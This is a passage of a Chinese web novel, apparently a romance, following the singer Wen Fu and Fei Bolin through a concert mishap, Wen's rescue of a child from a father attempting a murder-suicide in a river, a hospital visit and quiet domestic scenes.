服务生把那两个快递箱推到房间门口时耗费了不少力气,费薄林让人送了一把小刀,打开箱子后坐到地上,发现那里面是数不清的信封,大大小小至少有五六百份,每一份都很仔细地用防尘亚克力板密封住,才导致快递如此之重。 起先他没反应过来这些信件寄给他是做什么用,直到他随意拿起其中一份,隔着密封板看见信封上写着的“644000”的邮编和“费薄林收”四个字——那是温伏的笔迹。 费薄林愣了一下,接着快速地拿起每一份被密封好的信件检查,发现上面都写着同样的内容,每一个信封的封面都是“费薄林收”。 五百多封,每一封按照日期从头到尾安放在快递箱里,正好是温伏出国的那两年。 - 凌晨五点,温伏被一阵手机铃声吵醒。 他睡觉睡得沉,每每睡着都跟个虾米一样蜷在被窝里,脑袋只枕着枕头的一个角,头顶铺满睡得乱七八糟的头发。 铃声响了很久,温伏才半梦半醒地伸手去够,浓密的眼睫毛掀开了一条十分微小的缝儿,没看号码,光是按了接听,就把手机放到耳边,连“喂”也来不及说,立马又要睡着了。 电话那边响起一道熟悉的声音:“……小伏。” 温伏骤然睁开眼。 费薄林屈着一条腿靠在床边,坐在房间的地板上,周围铺散着数不清的信封信纸。 周围只开了一盏床头灯,他一只手搭在膝盖上,指尖还夹着一张摇摇欲坠的信,一只手握着手机,微微低头,目光凝视着地面的不知哪一封信,听电话另一头传来的呼吸和窸窸窣窣的动静,是温伏从床上坐起来了。 “薄哥?” 温伏比刚才清醒不少,揉了揉眼睛,又伸手去按床头的灯,适应了一会儿光线后,迟迟没等到费薄林说话。 他拿下手机看了看,确定是费薄林当年的手机号码,又把听筒放回耳边,一言不发地等着。 “小伏……” 费薄林又喊了一声温伏的名字,仍旧是没有下文。 他有很多话想说,可又觉得说了似乎无济于事。温伏已经在他看不见的时间里长大了,所有他错过的温伏的喜怒哀乐,在过去几千个日夜里慢慢塑造出了温伏如今的骨血,亡羊补牢,为时已晚。 温伏盘腿坐在床头,房间的地暖使他穿一层宽大的纯棉睡衣也不会寒冷,他听见费薄林几度欲言又止的时轻时重的呼吸,并不清楚今夜对方发生了什么。 于是他沉默片刻,主动开口问:“你要接我回家了吗?” - 周纪发现,今天温伏再出发的路上心情格外的好。 虽然这个人平时不管心情好不好脸上都是一个表情,但是今天的温伏显然光从精神头上就跟以往很不一样,眼睛都跟刷了漆似的比以前亮了一层。 周纪接人上车那会儿,甚至有一瞬间隔着口罩听见温伏自个儿在小小声声地哼歌。 他大惊失色,猛然扭头去看温伏,对上温伏的视线——对方的神色又很平静,不像在哼哼唧唧。 温伏问:“怎么了?” 周纪摇摇头,怀疑是自己昨晚没睡好幻听了。 下一秒,又听见温伏在哼歌! 周纪再次惊恐地望过去,歌声又停止了,温伏一脸如常地对着他眨眨眼,口罩上方的眼神毫无波澜。 周纪:“你在唱歌吗?” 温伏摇头。 周纪只好继续低头去提箱子。 等把箱子放进后备箱回来,温伏已经坐在自己的位置上,撑着下巴望向窗外,拿后脑勺对着人发呆。 周纪坐上座位,脑壳一仰,正要闭眼补觉,突然又听温伏那里传来小小的哼唱声。 周纪:!!! 他简直要毛骨悚然了:“温伏?” 温伏闻声转过头来,两扇乌长的睫毛隐没在鸭舌帽的阴影下,静静地看着他:“怎么了?” 周纪动了动嘴皮子:“你……听到有人在唱歌吗?刚刚?” 温伏说:“没有。” 周纪整个人僵住在原地。 大白天的闹鬼了! 还只闹他一个人! 温伏见他不说话,便再次把脸转向窗外,若无其事地看风景。 好一会儿,温伏扭头看了周纪一眼,说:“逗你的。” 周纪:? 温伏依旧是面无表情:“刚刚是我在唱歌。” 周纪:“……” 这是什么……幼稚的……恶作剧。 周纪简直哭笑不得:“好玩吗?” 温伏坐回来,靠在座椅上,一本正经:“还可以。” 周纪:“你今天很高兴?” “嗯。”温伏看着前方,眼睛好像有光闪了闪,“我要搬家了。” “搬家?”周纪问,“搬去哪?” 温伏说:“家啊。” “……” 飞机在中午十二点抵达贵州,他们一落地,先去了主办方安排的等候室,接着是长达四个小时的妆造时间。 这次商演的地点是封闭的演播厅,场馆大概能容纳一两千个观众席位,因为是日常小型商演,温伏没舍得带自己家里那把二手吉他,拿的是普通演出场合惯用的一把。 作为这场演出人气最高的歌手,他被安排在演出的中间时间出场。 舞台按照他的要求布置得比较简单,只摆了最普通的一个话筒架和一个高脚椅。 主持人报幕说到温伏的名字时台下就已是沸腾一片,等他出场以后,观众席灯光俱灭,喧哗声也随之偃旗息鼓,台上打光聚集到温伏的座椅上,漆黑的场馆只剩那一处光亮。 温伏的脸窄而小,眉眼浓艳,化妆师并不会在妆容上给他下过重的颜色,多数时候只是一层打底的淡妆。但出于化妆师的个人喜好,温伏的眉骨和脖子侧边总被打上大片的透明高光,随着他的俯仰能看到喉结与耳返周围闪烁着的晶莹碎光。 他的作品词曲编曲大多都是自己一个人完成,这次温伏也选了一首自己偏冷门的歌,歌曲名叫《蝴蝶》。 现场演奏除了吉他外,还有伴奏的架子鼓与风笛,整个曲调偏向明媚的悠扬感,只有到了后半段,风格下走,大梦初醒的怅然若失才渐渐浮现。 他仍旧是右脚微微抬高踩着高脚椅的脚踏,吉他放在腿上,凑近话筒,念出这首歌曲的开头那一句低低的节拍:“一,二,三……四。” 伴奏响起,温伏刚要开唱时,吉他的一弦断了,发出清脆的崩裂声。 整个场馆寂静了一秒,温伏正了正耳返,垂首到话筒正上方:“请继续。” 后台音响老师顿了片刻才反应过来这句话是说给他听的,遂赶紧又把伴奏调了上去。 一弦没了,温伏把歌曲的部分编曲降了调,其他地方也跟着一边唱一边做调整,几乎是即兴演奏了一首新的《蝴蝶》: “桥下的老阁楼,水池上一叶纸舟 泛黄的书卷页,是周而复始的山丘 摇着头,听老师讲绿肥红瘦 却在看,蝴蝶飞往第几个窗口 / 回家那条小巷,这些年要走多久 吉他拨了几根弦,又唱了几次等候 幼时听不懂的,时光如水悠悠 像一起放过的风筝,断了线就不回头 日暮下,谁又在门前坐守 半地秋风吹皱 / 灶台上的玉米粥,午后的落叶已腐朽 偶然回首,眨眼已是几个秋 召唤守护神的童话咒,把长大的路写就 空荡的楼梯口,路过几多,青葱不知愁 一纸蝴蝶出走 / 后来也听说 思念覆水未收,是岁月在生锈 原来蝴蝶的另一个名字,叫做春华难留 / 我问蝴蝶归来否 她笑我念旧” 吉他的和弦如流水趟过这个小小的演奏厅的角落,温伏为了配合新编特意把嗓音往下压低了一些,歌声像悼念歌词所唱的回忆般融合在曲调中低低呢喃。一曲终了,幽暗的观众席先是零零散散从四处响起一些掌声,几秒过后,掌声和喝彩才后知后觉地从人群中爆发。 温伏这场演出的live很快被人传到了网上,第一个发出的视频在一个小时后就得到了十万多的点赞。 祸兮福所倚,这场临时的意外,不难预见地即将让这首改编后的冷门歌迎来翻红。 温伏在演出结束后回到车里,化妆师已经在车上收拾好东西等着了。 贵州到锦城的飞机一天只有一趟,回去的方式他们选择了高铁。 演出地点离高铁站有些远,并且第二天的商演要早上六点就出门赶飞机,为了让温伏在高铁上睡个完整的觉,周纪和妆造老师一般会选择在开往高铁站的路上就帮他把妆卸了,免得他回去自己一个人捣鼓半天,妆卸不干净不说,又浪费大把时间。 司机在公路上四平八稳地开着,温伏正听化妆师的话老老实实拿浸了卸妆液的化妆棉擦眼睛,忽然车身一晃,整个车里的人都一下子往前倾,化妆师本就是在后座弯腰伸到前方来的,如果不是温伏眼疾手快,她险些整个人栽倒到前头。 车子被迫停下,可下一刻,商务车又承受了重重一击。 这下所有人都反应过来,是追尾了,并且不止一次。 他们停的地方并非高速,不存在连环追尾的可能,现在又是晚上,这个地方早出了主城区,外头下着雨,看不见几个车,怎么会接二连三地被撞? 周纪打开车窗往外探头,朝后方看了一眼,那两个从左右分别撞他们的私家车再眼熟不过——分明就是之前的那几个私生! 这是报复来了! 很快,司机在前面对他们说:“爆胎了!” 周纪气不打一处来,掏出手机想联系别的司机,又想起这里不是锦城也不是北京,这次Stella没有跟行程,一整个团队包的都是一辆车,要找其他人也 16. 第 16 章 [] 河水浑浊,那两个人身上穿着厚重的棉衣,大人一身黑,在水里浮浮沉沉一言不发,小孩子穿着红袄,看不出性别,只能听到一声声削尖了嗓子往外喊的“爸爸”。 没几声孩子就呛了水,喉咙喊不出话,四肢还在大人怀里不停扑腾。 他们离岸太远,温伏游了很久才从水下冒出来扯开口罩吸了口气,想到周纪和Stella平时叮嘱的,为了避免被人认出来,后期给团队造成别的麻烦,他在憋足了气再次潜下去时又把早已浸湿的口罩带回脸上。 饭店的大婶瞧见他往桥下跑时就追了出去,原本是怕温伏有什么想不开,跑下来看到河里的场面后大惊失色,一面匆匆忙忙掏手机,一面仰头往四面八方喊:“来人啊!救命啊!有人跳河啦!” 河水简直冷得沁骨头,温伏四肢逐渐僵硬麻木,终于在快要失去知觉时游到那两个人前面。远处河岸上传来大婶依稀的吆喝:“110吗?这里有人溺水了,快来一下!就在这个……” 闻声而来的人越来越多,但因为他们的位置几乎靠近了河中心,没人敢轻易下来。汹涌河水在温伏耳畔翻滚,时而没过他的头顶,扑打进他的耳朵,岸边嘈杂的声音愈发模糊。 他伸手去接那个穿着红棉袄的孩子,却被对方身后的父亲狠狠一脚蹬在肚子上。 这个男人的目的是带着自己的孩子自杀。 温伏腹间一痛,被河水冲打着后退。 他再次游过去,试图从父亲手中抢过那个即将失去意识的孩子,男人用一只手搂紧孩子的腰,另一只手腾出来往温伏脸上扇了一巴掌,又搡着温伏的肩,把他不停地往外推。 河边的人此时才看清这个父亲的意图,有人出声指责,有人开始往河里递细长的竹竿,呼唤温伏回来。 温伏背对着河岸和大桥,再次往没人的方向扯下口罩长长吸了口气,接着把口罩戴回脸上,卯足了力跟男人抢孩子。 他的力气本就不小,平时使起蛮劲儿来身边的人都争不过,更何况这个搂着孩子在水里泡了半天的男人。 争夺间身后的岸边有扑通的入水声。 眼看孩子要被温伏从怀里抢走,男人从身上掏出别在后腰的水果刀,开始毫无章法地在水下往温伏身上捅。 极度的寒冷总会减轻人的感知,温伏腰间和腿上乍然传来一阵一阵冰凉的刺痛,他并未细想,一鼓作气把孩子抢到了怀里,掉头就往岸上游去。 河水糊在他的睫毛上,温伏看不清眼前的一切,只能凭借模糊的视野往人多的地方游。 岸边人声鼎沸。 “要死自己死,别带着孩子啊!” “就是!孩子招你惹你了!畜生吗?!” “他是一个人怕死,要带个跟他一起死的作伴!” “小伙子小心啊!” 孩子靠在温伏的肩头,紧紧搂着他的脖子,忽然拔高了音调,哑着嗓子喊:“哥哥!哥哥!” 身后那个男人高高举起手上的□□,要往温伏头顶刺下去。 温伏扭头,离自己不到一臂高的刀尖就悬在顶上,下一刻就会捅破他的眼球,刺进他的头颅。 就在这时,温伏眼前横过一只被打湿了白衬衫的手臂。 下一秒,那只胳膊往外屈折,手肘狠狠朝上撞击了男人的下巴! 男人被迫仰头承受这一击,猝不及防间,整个手掌“擦咔”一声被人折向后方,男人发出惨叫,手上的匕首也被夺走,远远地抛到了河水里。 腰间环上一股支撑的力量,温伏的四肢变轻了,整个人被谁紧紧搂在身前。 他还是紧抱着那个孩子,被搂住也没有抬头,只侧过去嗅了嗅对方身上的气味,便放松了脊背,小声道:“薄哥。” 费薄林一脚把男人踹回河中心的位置,快速地上了岸。 上岸前温伏先把小孩往上递给伸手的人群,自己在费薄林的支撑下爬了上去。 岸上一片喧哗,等温伏靠费薄林身上站好后,人群接连发出成片惊呼。 他的白色卫衣下半部分洇出了血。 遥远的有警笛声渐渐逼近,有人喊着警察来了,有人喊打120,温伏抓着费薄林的衣角,步履蹒跚地去捡自己丢在岸边的衣服。 他身体越来越冷,从头到脚冒着寒气,意识也没那么清楚了。 “薄哥。”温伏把衣服拎在手里,回来瞥了一眼周围,往费薄林身上靠。 他的头顶抵在费薄林肩上,被人群围着有些许无措,因而声音愈发细微到快要听不见:“我不去公安局……不要见警察。我不要见。” 费薄林脱了衬衫绑住温伏腰间伤口:“我们马上走。” 他转过身要背温伏,正当温伏把胳膊挂到费薄林肩上时,又忽然从背上下去:“等等。” 被救上岸的孩子此时已经吐了水恢复清醒,岸上一半的人陪着等待救援,一半还在想办法打捞那个尚未溺水的父亲。 温伏拨开人群,目光低垂着,湿润的睫毛有些打绺,遮住了他的眼睛。 他不习惯在舞台外成为大众的焦点,尤其是在这种很可能被播出到时事新闻的场合——这不是他该出现的地方,否则一件普通的事件很可能因为他沾上许多不必要的猜疑,妄受非议。 因此温伏盯着地面,谁也不看,仿佛这样就能让自己在别人眼中隐形。 他脸色苍白地走到孩子面前,把手里的外套披到孩子身上,又打开钱包——温伏一直保留着随身携带现金的习惯,不多,几百一千,最多也就一千出头。 他把钱包里所有的现金一股脑塞到孩子手里,上下两排牙齿打颤,低着头,发梢的水滴不停地滴落在脚边的地面。 温伏不直视任何人,连睫毛都像在闪躲。 他盯着地面那些水滴往孩子手中塞钱,仓促地发出叮嘱,说出的话跟随他打的冷战乱成一片:“钱拿着。不要回家,不要给爸爸……不要给爸爸。” 他的声音又小又快,隔着一层湿答答的口罩,更是微弱到近乎欲无。旁边还有一圈劝他等等救护车的市民,温伏塞完钱后,也没管孩子听没听见,又起身走向费薄林身边。 没走两步,他的身体摇摇欲坠。 费薄林先一步过来把他背在了身上,在警车还未靠近前,快步把温伏带进了自己的车里。 进了车,费薄林先给温伏摘下那层贴在鼻梁上阻碍呼吸的口罩。 温伏衣服上混着污水与血液,费薄林一面告诉司机去附近最近的医院,一面拿出车里的急救药箱,给温伏的伤口做了简单的清洁和处理。 温伏的伤并不很重,那个男人在水里带了太久早就精疲力尽除,除了腿上有一刀给温伏刺得很扎实外,其余地方的伤口都只在皮下。 比起流血和刀伤,寒冷才是温伏目前体能耗尽最大的因素。 而为了让伤口尽快凝血,车里只能暂时关了空调,费薄林脱下所有的上衣换在温伏身上,把温伏放进怀里,用座椅上的羊绒薄毯给温伏擦头发。 温伏盘腿靠在费薄林身前,低着眼睛一言不发,身体回暖的同时也在储存体力。 等那股劲儿缓过来了,他低声问出第一句话:“他的妈妈去哪儿了?” 费薄林擦头发的手一顿,低声道:“也许正在找他。” 溺水的孩子是个小男孩,应该就是附近的,温伏把他救上岸后有人认出 17. 第 17 章 [] 温伏挂了电话,费薄林正好缴完费取药回来。 没几分钟,护士整理完吊瓶端着一篮子要过来扎针。 打针要先做皮试,皮试针头比吊针小一圈,看起来也就更尖锐一点,温伏坐在注射室里,旁边站着费薄林,正当护士举着针要往温伏手臂上扎时,温伏仰头看向费薄林。 费薄林:“……” 他的一只手护住温伏的肩,一只手抬起来遮住温伏的眼睛。 其实温伏对于扎针这种事并不害怕,过去这几年因为劳累生病进医院的次数也不少,没有费薄林的时候,针头扎过来,不出声不喘气地也就扎了,这会儿费薄林在身边,不管怕不怕,总归还是要赖着让费薄林捂眼睛的,否则就感觉亏了。 总之是这么个心思——别人家孩子打针都有家长捂眼睛,他也要费薄林捂。 费薄林也清楚他的想法,温伏看过来,就轻轻把手放了上去。 护士戴着口罩,瞥了温伏一眼,刚好温伏也戴着口罩,被没认出来,只听护士温声笑道:“那么大了还怕打针哟。” 费薄林含笑解释:“小孩子发嗲,越有人越来劲。” 护士接着笑,防止温伏是真的怕针故而借谈话让人放松压力:“多大了还跟哥哥发嗲。” 说话间针头刺入皮下,抗生素注射了进去。 温伏没说话,两只眼睛在覆上来的黑暗中眨了又眨,密密的睫毛似有若无地来回拂过费薄林的手心。费薄林指尖微颤,微微把手贴近了些,更清晰地感受着温伏眨眼的动作。 皮试针打完,费薄林放下手,温伏的表情没有任何变化,完全不是被打针的刺痛伤害到的样子。 扎过针的地方鼓起一个小包,要十五分钟后护士才会再次过来。 温伏抓着费薄林的衣角说:“饿了。” 费薄林顺手拉了把椅子挨着他坐下,掏出手机:“想吃什么?” 这里位置比较偏,附近的餐饮的费薄林也不熟悉,医院周围大多是便宜的快餐馆子,估计没什么太好吃的吃食,也就只能点外卖了。 温伏想了想:“汉堡。” 那天在微博之夜他其实并没有吃饱。麦当劳的汉堡小,他吃了三个就有人过来问他讨要,当时听说对方是十四岁的小演员,温伏琢磨了一下,想起自己十四岁时的食量,干脆把身边所有的吃的全都送出去了。 他比谁都了解,十四五岁的年纪饿起来的感觉有多难受。 不过温伏预估错的是,不是谁都跟他十四岁一样那么能吃。 送去的麦当劳小演员没吃完,温伏也吃得意犹未尽,现在坐在医院,不知怎么想起来,一时就馋得不行。 费薄林下意识在外卖软件上搜索“汉堡”,弹出来的界面里除了些连实体店面都没有的杂牌炸鸡店,就只剩一个肯德基,距离医院4.8公里。 这边的外卖配送范围是五公里之内,而他搜到的唯一一家距离医院最近的麦当劳刚好距此5.1公里。 费薄林眼神一暗,退出外卖软件,给楼下的司机打了个电话,让对方开车到5.1公里处的麦当劳买几份套餐送过来。 关了手机,他低声对温伏说:“周围没有汉堡卖,我让司机开车去买,比外卖快一些。” 4.8公里处的肯德基被迫消失在这场谎言中。 温伏哪能察觉到费薄林有几个心眼,对此自然无异议。 大约半个小时以后,交接完狗仔的周纪匆匆赶来医院,恰好在楼下偶遇费薄林的司机,顺手把还热乎的麦当劳提了上去。 咨询过问诊台后周纪径直往注射室去,才踏进门,就对上费薄林的视线。 对方不紧不慢给他比了个不要发出声音的手势——温伏已经靠在费薄林肩上睡着了。 周纪不知道这俩人是几时扯上的关系,原本以为温伏和费薄林也就是开一次会的萍水之交,今天在一起不过偶遇,他甚至担心温伏是出了什么事不得已必须去医院而耽误了费薄林的时间,哪晓得火急火燎地赶来,乍然看见这一幕,简直快要瞠目结舌。 周纪没有表露出过余的惊讶,心领神会地过去,跟费薄林彼此无声点过头,算了打了招呼。 几大袋麦当劳放在桌上,费薄林没有要跟他多聊的意思,他也不好主动搭话,只能闷在一侧发呆。 回忆起这俩人,周纪自然只能想起上个月温伏在车里答应Stella去开赞助会的那晚。 彼时温伏吃着沙拉,听见Stella说要开会的第一反应就是回绝,可是后来是怎么突然改口的来着? 是Stella说出赞助商的名字,也就是……当温伏得知与会者是费薄林的时候。 ——! 周纪平静的眼睛忽然睁大,心脏陡然快速跳动起来。 他的脑海中闪现出数日前Stella车中那堆积成山的小几百万的奢侈品成衣礼袋。 他就知道,这抠门公司肯定舍不得钱给温伏置办这些东西。 难道…… 费薄林和温伏…… 是失散多年的亲兄弟? 他感觉自己好像摸到了什么豪门秘闻的一角,结合温伏平时举目无亲的生活现状,周纪简直立马就在心里坐实了温伏的身份。 惊!当红流量男歌手竟是豪门私生子! 互联网巨头猛出手,演唱会千万赞助为哪般? 周纪带着心中不得了的秘密一遍一遍打量着身边举止亲密得不正常的二人,数次对着费薄林欲言又止。 费薄林在他的目光第十一次扫过来时放轻声音问:“有事?” 有啊,当然有。 周纪:总裁,少爷他还不肯回家吗? 不对,是董事长。 不对,好像还缺个女主角。 他轻咳了一声,收起心里逐渐走歪的想法:“温伏的高铁快赶不上了。” 费薄林收 18. 第 18 章 [] 离开医院时护士再次检查了一遍温伏身上的伤,此时周纪已经知道温伏受伤并紧张地问过了原委,还等着把这件事告诉Stella,看看后续如果出现舆论该怎么进行干预。 那个男人给温伏留下的伤口刺得很偏,温伏腿上流血厉害但其实没到要缝针的地步,况且就算要缝针,费薄林也不愿意他在离家那么远的地方动手术。 等护士确定可以放人离开时,在场的人都松了口气。 周纪在守着温伏输液的两个小时也联系到了车,很有眼力见地选择了跟同事一起回去,把独处的空间留给了旁边两个人。 温伏从河里捞出来几个小时,虽然换上了费薄林的衣服,但头发和身上没有条件清洗,始终不太舒服,因此上了车也不怎么说话。 费薄林显然不放心让他一个人待在家,可又不知道怎么开口。 半晌,他看向温伏略微苍白的侧脸问:“上次吃饭的碗,洗干净了吗?” 温伏想了一会儿才明白对方说的是之前来家里做饭的那次,可那是上个周的事了,费薄林现在才问,显得有些突兀。 不过他没多想,先点了点头。 费薄林又问:“自己洗的?” 温伏还是点头。 费薄林:“让助理检查了吗?” 其实这个问题完全可以趁周纪还在这儿的时候问,但是费薄林没有。 如果温伏脑筋多转一圈,回答“没有”,费薄林就能顺理成章地以检查为借口到他家里去再留下来。 可温伏仍是点头,顿了顿,甚至特意补充道:“洗得很干净。” 费薄林:“……” 司机从后视镜瞟了一眼,见费薄林迟迟不吭声,都快忍不住帮他开口夸夸温伏很厉害了。 看不见孩子盯着你的眼神吗?夸啊!快夸啊! 目的引导失败的费薄林完全没意识到自己略过了温伏的期待,眼见着车驶入了锦城,转而把话题移到另一个方向:“在医院吃饱了吗?” 温伏刚要回答“吃饱了”,就听费薄林轻描淡写地说:“没吃饱的话,我上去给你煮面。” 要说出口的话被咕咚一下咽回肚子里,温伏摇摇头:“没吃饱。” 费薄林垂下眼,遮住眼里划过的一丝笑意,再抬眼时只对司机没什么表情地说:“开到云河颂你就回去吧,不用等我。” 温伏在医院吃那几包麦当劳吃了个八成饱,回到家又隔了两三个小时,要说吃夜宵也吃得下,只是过去那些年在Stella的高强度监督下很久没那么放肆了。 家里最不缺的东西是鸡蛋挂面,能放很久,就算演出跑行程十天半个月不回来也不会坏,要吃的话也不像煮饭时还要做菜那么麻烦,下了锅几分钟就能捞起来,对于温伏而言,从小到大这都是最划算管饱的食物。 费薄林在送菜软件上点了一些煮面用的青菜和肉类,温伏趁煮面的当儿抱着毛巾去浴室擦了个澡。 由于伤口不能沾水,他必须小心动作,这一趟澡也就擦得很慢,换好衣服出来时费薄林的面也从厨房端出来了。 费薄林一边去浴室收拾他的脏衣服一边招手叮嘱:“过来吃面,吃完面我给你洗头发。” 腰上两处刀口的擦伤让温伏没法自己洗头,加上头发在河里打湿后被费薄林在车里强行搓干,温伏这会儿满头黑发比平时更到处乱飞,摘下来拿去当鸡毛掸子也不为过。 碗里煮了很多青菜和现煎的云腿肉,温伏扒开椅子准备埋头大吃时,费薄林抱着衣服,声音从他后面幽幽飘过:“慢慢吃,不许抢,青菜别剩。” 温伏张开的嘴缩小了一个弧度。 在温伏吃面的十五分钟里,费薄林无比熟练地把脏衣服丢进洗衣机,顺便将温伏之前丢在沙发上的行李整理完,接着去衣柜里找出一套全新的、完全属于他的尺码的睡衣——这套衣服夹杂在上次他托Stella送给温伏的那堆衣履中,因为太了解温伏的神经大条,也极度清楚以温伏的性格,不是必要场合根本不会对那堆衣服产生丝毫的兴趣,所以费薄林根本不担心这套睡衣会在短时间内被温伏察觉到异常。 就连睡衣放进衣柜的地方,都是他上次来这里帮温伏叠好后布置的。 为了让温伏早点休息,费薄林在他吃完面以后的十五分钟内带着温伏一起完成了洗漱,并把书房的折叠床搬进浴室,调好水温后费薄林坐在折叠床前,轻声道:“小伏。” 三秒后,温伏悄无声息窜过来蹲在他眼前。 费薄林说:“躺好。” 温伏听话地躺了上去。 费薄林先把五指穿插到温伏的头发里,指腹贴着温伏的发根一点一点摸着头皮:“头上有没有伤?” 温伏倒仰着脑袋看他,两个眼睛在这样的姿势下显得更大,边摇头边说:“没有。” 即便回答了没有,费薄林还是把他头顶每一处摸了个遍,确定之后,才放水冲洗温伏的头发。 水温热热的,刚好是皮肤能接受的程度,浴室里传出潺潺水声,温伏就这么睁圆了眼珠子看着倒映在眼前的费薄林,一言不发。 费薄林也不说话,神色一如既往的平淡,看似给温伏洗头洗得很专心,实则心里愉快到了极点。 家里,灯光下,水声中,就算他们什么都不说,费薄林也觉得很好。 等到给温伏洗完头时,他才发现,温伏躺在折叠床上睡着了。 好在不远处的置物台旁有插座,费薄林取了吹风,把吹风调到静音模式后,坐在原位给温伏吹完了头发。 迷迷糊糊中温伏感觉自己被人抱起来,随即闻到费薄林的气息,他便懒得睁眼,又陷入了睡眠。 感觉到费薄林离开的动静,温伏伸手抓住对方的袖子。 费薄林转头时就发现温伏醒了,醒了多少不知道,总之眼是睁开了,目光直勾勾的,不知是在梦里还是在盯他。 费薄林低声道:“衣服烘干了,还没取。” 取完还要叠好放进柜子里。 温伏迟疑一瞬,这才放开。 费薄林坐到客厅的沙发上,环视着四周的一切,就像上一次把温伏哄睡以后坐在这里一样,视线依次扫过这个房子的每一寸。 其实家里的陈列很简单,温伏平日没多少爱好,对生活的要求也是吃饱穿暖就够,兴趣方面除了音乐就是动漫。音乐——家里有专门的书房和琴房,费薄林上次就从头到尾地收拾过,至于动漫,对温伏而言是一个电视机甚至手机就能满足的事。 这里所有物品陈放都相当简约,一览无余。 可费薄林看不够,怎么都看不够。 这就是温伏在离开 19. 第 19 章 [] 第二天起床,两个人差点闷出一身汗。 家里本来就开着地暖,费薄林一夜睡得提心吊胆,总担心床太小把温伏挤到地上,后半夜干脆搂着温伏换了个位置,人倒是换到里边了,费薄林又怕温伏挤着不舒服,自己一个劲儿往外头躲,把床上空间留给温伏,结果一觉睡醒温伏还是贴在他怀里,头发乱飞,额前的一些碎发让汗打湿了发梢。 纵使这样,温伏一颗脑袋还在往他身上钻,不抵着他就睡不安稳似的。 费薄林摸着温伏后脑勺,低头去看温伏的睡脸。 睡着后的温伏,睫毛和鼻尖翘起的弧度都恰到好处,比起其他时刻,又是另一种乖巧。 费薄林屈起食指勾了勾温伏乌黑的眼睫,看见温伏的眼珠子在眼皮下不安地动了动。 他把手拿开,温伏眼睛就不转了。 再勾一次,温伏的眼珠子又动了一下。 再拿开,又不动了。 就这样来回逗了几次,温伏在睡梦中蹙了蹙眉。 费薄林忽然觉得自己像极了什么奇怪的大人,仿佛是故意趁人睡着以后用这么低级的方式偷偷逗猫,于是利落地收手,给温伏盖好被子后悄声起床。 早餐给温伏做了一个三明治和两个西多士,这样就算温伏起迟了也可以吃。 费薄林在订食材的时候顺便下单了两盒菊乐牛奶,做完一切时温伏果然还没醒。 他要去公司,所以起得早,临走时去书房看一眼温伏,留下一张便利贴后就离开了。 温伏睡醒,没睁眼先喊了声费薄林,没听到有人应他,知道对方是又走了。 餐桌上留下的便利贴告诉他做好的食物放在哪里,又叫他吃面包时炼乳不要放得太多,同时没忘记叮嘱温伏如果不舒服记得餐后吃一顿消炎药。 温伏翻到另一面,发现这次费薄林没有多写别的东西,眼珠子一转,跑到厨房保温箱里拿了早饭,站在原地几口塞完,开始满屋子闲逛地等着费薄林中午回家——费薄林如果不回来,是会提前做好午饭再走的。既然什么也没多留,说明他会回来做饭。 十二点半,费薄林踏进家门时,成功在脚边收获一只盘腿坐好仰头等待的温伏。 他毫不意外地用没有拎菜的那只手把温伏捞起来,一边走向厨房一边问:“早饭吃完了?” 温伏跟在他屁股后边点头:“吃完了。” 费薄林放下菜,去检查冰箱里剩下的炼乳,确认温伏早上吃了多少。 冰箱里没有炼乳。 温伏把整整一盒50ml的炼乳就着两个西多士全部吃光了。 费薄林在打开冰箱门那一瞬,感受到背后的身影明显一僵。 温伏警觉地停下了跟着他撵的脚步,等费薄林关上冰箱转过头时,温伏瞳孔一晃,眼神四处搜寻,飞快地率先指向橱柜:“碗洗完了。” 费薄林瞥向早晨装西多士和三明治的盘子,终于补上了昨天错过的那句表扬:“洗得很干净。” 温伏眼睛闪了闪,浑身轻松地要出去看电视,就听费薄林一边卷起袖子择菜一边慢悠悠地说:“下次再吃那么多,就跟我去看牙医。” 温伏:“……” 他到现在都还有一颗阻生齿没拔,除了费薄林没人知道,这些年也没人管,所以一直拖到现在。 费薄林说完话,往后头微微一瞥,就见温伏整个背影都泄了气,拖着步子往客厅走。 他嘴角漫上一抹笑意,警告的话点到为止,没有再恐吓下去。 吃饭的时候温伏还在因为看牙的话无精打采,但这并没太影响他大口进食。 弱小,无助,但能吃.jpg 温伏一边无精打采一边认真吃饭,费薄林等他吃得差不多了,才问:“综艺是哪天录?” 温伏想了想:“18号。” 因为突如其来的商演解约,温伏多了两天假期,可以休息到走完V家红毯后直接去川西录制真人秀。 节目组在嘉宾出发前要先到艺人家里进行一段出发录制,费薄林只能在前一天搬回酒店。 离开前的那晚他拿出三个行李箱,两个箱子里是他给温伏搭配好的在录制时每天要穿的衣服,基本是红毯后找上门来跟温伏谈合作的服装品牌,偶尔夹杂着一两件他之前买的,剩下一个箱子一半是生活用品一半是各种各样的零食,主要是坚果和肉类还有一些维生素软糖。 提前了解到这次综艺常驻的地方在藏区后,费薄林把零食分批次均匀搭配成很多小份,一份是一天的量,以防温伏到了那儿嘴馋一口气吃完,甚至提前考虑到零食袋发生“高原反应”,所有能处理的食物他都进行了真空包装。 步骤繁琐,但费薄林乐在其中。 做这些事时,温伏就蹲在他身边,睁着两个滴溜溜的眼珠子看,他起身温伏也起身,去哪都撵在他后头进进出出,满房子跟着费薄林跑。 看得久了,费薄林问:“有什么好看的?” 温伏指指行李箱:“以前你也这样。” “以前?” “八年前。” 费薄林愣了愣,别开目光,并不说话。 温伏似乎没有察觉到异常,守着费薄林给自己收拾完行李,扑到沙发上百无聊赖地滚了两圈,又从沙发上滑下去打开电视开始看动漫。 直到费薄林说要走,他才意识到从屏幕上移过视线,坐在地毯上懵头懵脑地开口:“啊?” 随即想起来综艺录制不能让费薄林露面。 电视里的动漫突然变得乏味,温伏垂下眼,磨磨蹭蹭跟着费薄林到电梯,滚沙发时候的那点悠闲和雀跃在身上已荡然无存。 “到了藏区别乱跑,一个人要待在有信号的地方,不舒服要立马说,别硬撑。”温伏没去过高原,一旦启程,又是一场未知的离别,费薄林还在自己的嘱咐有没有遗漏,“尽量多跟人说话,多笑一笑。” 其他方面费薄林是不担心的,温伏不护食也不懒,有的吃会分享,有活也会立马上,唯一不让人放心的就是不怎么吭声,如果节目组后期要靠制造不友好的噱头来搏关注,最有可能从闷不做声的温伏的身上剪辑下手。 他的性格不适合真人秀,如果不是资源置换的人情债,Stella绝不可能同意让他参加黄台的户外综艺。 看温伏整个人从头到脚都不怎么有精神,费薄林没忍住上头摸了摸他的头发——很奇怪,费薄林用微博关注过很多温伏的跟拍站子和线下粉丝,她们对温伏的印象无一不是认为温伏的头发又黑又硬,提到自己的线下经历,每个人第一反应都形容温伏是个顶着一头粗黑头发的炸毛小猫。 